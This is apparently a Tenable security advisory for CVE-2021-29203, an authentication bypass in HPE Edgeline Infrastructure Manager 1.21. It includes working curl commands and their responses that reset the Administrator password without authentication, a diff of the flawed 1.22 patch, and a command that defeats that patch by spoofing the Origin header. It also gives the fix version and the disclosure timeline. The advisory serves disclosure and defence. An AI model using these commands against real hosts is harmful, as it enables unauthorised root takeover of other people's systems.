HPE Edgeline Infrastructure Manager v1.21 Authentication Bypass

Critical

← View More Research Advisories

Synopsis

Tenable found an authentication bypass vulnerability in HPE Edgeline Infrastructure Manager (EIM) version 1.21.

When the user logs in to the web application for the first time with the default password for the existing Administrator account, the user is prompted to change the password for the account. The password change is carried out by sending a request to URL /redfish/v1/SessionService/ResetPassword/1. However, after the password change, an unauthenticated remote attacker can use the same URL to reset the password for the Administrator account.

After the password reset, the attacker can login to the web application with the new/correct Administrator password by sending a request to URL /redfish/v1/SessionService/Sessions. The attacker can then change the password of the OS root account by sending a request to URL /redfish/v1/AccountService/Accounts/1. This allows the attacker to SSH to the EIM host as root.

The following shows the attack steps:

```
# Reset the Administrator password
curl -k --tlsv1.2 -H 'Content-Type: application/json' -d '{"Password":"attacker"}' -X PATCH https://<eim-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}

# Login with the new Administrator password; get an X-Auth-Token
curl -ki --tlsv1.2 -H 'content-type: application/json' -d '{"UserName":"Administrator","Password":"attacker"}' https://<eim-host>/redfish/v1/SessionService/Sessions
HTTP/1.1 201 Created
Server: nginx
Date: Thu, 28 Jan 2021 06:27:54 GMT
Content-Type: application/json
Content-Length: 195
Connection: keep-alive
X-Auth-Token: eda6c27504c54cf68e1d005742c1ef8c573e5e60
Is-Ldap: False
PasswordReset: False
Location: /redfish/v1/SessionService/Sessions/Administrator16
Cache-Control: no-cache
OData-Version: 4.0
Link: /redfish/v1/SchemaStore/en/SessionCollection.json;rel=describedby
Vary: Accept
Allow: POST, OPTIONS, GET
```

Update (May 25, 2021):

The version 1.22 fix for the vulnerability (CVE-2021-29203) is incomplete as the mitigation can be bypassed. Users are encouraged to upgrade to the 1.23 version in order to mitigate this issue. The initial patch attempts to fix the vulnerability by ensuring only the console user can reset the Administrator password by checking whether the Origin header in the HTTP request has the value of 'https://127.0.0.1':

```
--- 1.21/api_fs/opt/app/eim/api/views.py        2020-09-17 12:28:48.000000000 -0400
+++ 1.22/api_fs/opt/app/eim/api/views.py        2021-04-01 12:24:13.000000000 -0400
@@ -1830,9 +1830,20 @@
 @api_view(['PATCH'])
 @permission_classes((AllowAll,))
 def specific_password_reset(request, user_id):
+    is_console_user = False
+    request_origin = ""
+    if "HTTP_ORIGIN" in request.META and request.META["HTTP_ORIGIN"] == "https://127.0.0.1":
+        request_origin = request.META["HTTP_ORIGIN"]
+        is_console_user = True

-    if request.method == 'PATCH':
+    if not is_console_user:
+        logger.info("Unauthenticated password reset from {}".format(request_origin))
+        logger.info("Unauthenticated password reset is restricted to the console")
+        resp = JsonResponse(json.loads(error_template.format("ConsoleRestricted", "ConsoleRestricted")))
+        resp.status_code = 403
+        return resp

+    if request.method == 'PATCH':
```

However, an unauthenticated remote attacker can set the Origin header to 'https://127.0.0.1', thus bypassing the mitigation:

```
curl -k --tlsv1.2 -H 'Content-Type: application/json' -H 'Origin: https://127.0.0.1' -d '{"Password":"attacker"}' -X PATCH https://<eim-1.22-host>/redfish/v1/SessionService/ResetPassword/1
{"Messages": [{"MessageID": "Base.1.0.Updated"}], "@odata.type": "#Message.1.0.0.Message", "error": {"@Message.ExtendedInfo": [{"MessageID": "Base.1.0.updated"}], "code": "iLO.1.0.ExtendedInfo"}}
```

The attacker can then login to the EIM GUI using the newly reset Administrator password. From the GUI, he resets the Administrator password again, this time the URL to reset the Administrator password is /redfish/v1/AccountService/Accounts/1, which is different than /redfish/v1/SessionService/ResetPassword/1. This operation resets the password for both the Administrator webapp user and the OS root user. This allows the attacker to SSH to the EIM host as root.

Solution

HPE has released a fix in Edgeline Infrastructure Manager 1.23.

Additional References

https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04124en_us
https://support.hpe.com/hpesc/public/swd/detail?swItemId=MTX_3b309ce5d9ea4a67af614f3ee2
https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=hpesbgn04124en_us

Disclosure Timeline

01/28/2021 - Vulnerability discovered
02/01/2021 - Vulnerability disclosed to vendor
02/01/2021 - Vendor acknowledges
02/16/2021 - Tenable requests status update
02/16/2021 - Vendor states that fixes are in progress
03/08/2021 - Tenable requests status update
3/8/2021 - Vendor states that fixes are in progress
3/24/2021 - Tenable requests status update
3/25/2021 - Vendor states that fixes have been made and are currently in testing phase.
4/26/2021 - Vendor notifies Tenable of CVE and requests information on who to credit.

05/19/2021 - HPE requests timeline extension. Tenable denies and cites policy.
05/20/2021 - HPE requests advanced copy of advisory. Tenable provides information to be included.

Risk Information

CVE ID: CVE-2021-29203
Tenable Advisory ID: TRA-2021-15
CVSSv3 Base / Temporal Score: 9.8 / 9.1
CVSSv3 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products: HPE Edgeline Infrastructure Manager v1.21
Risk Factor: Critical

Advisory Timeline

April 30, 2021 - Initial release.
May 25, 2021 - Updated synopsis and solution.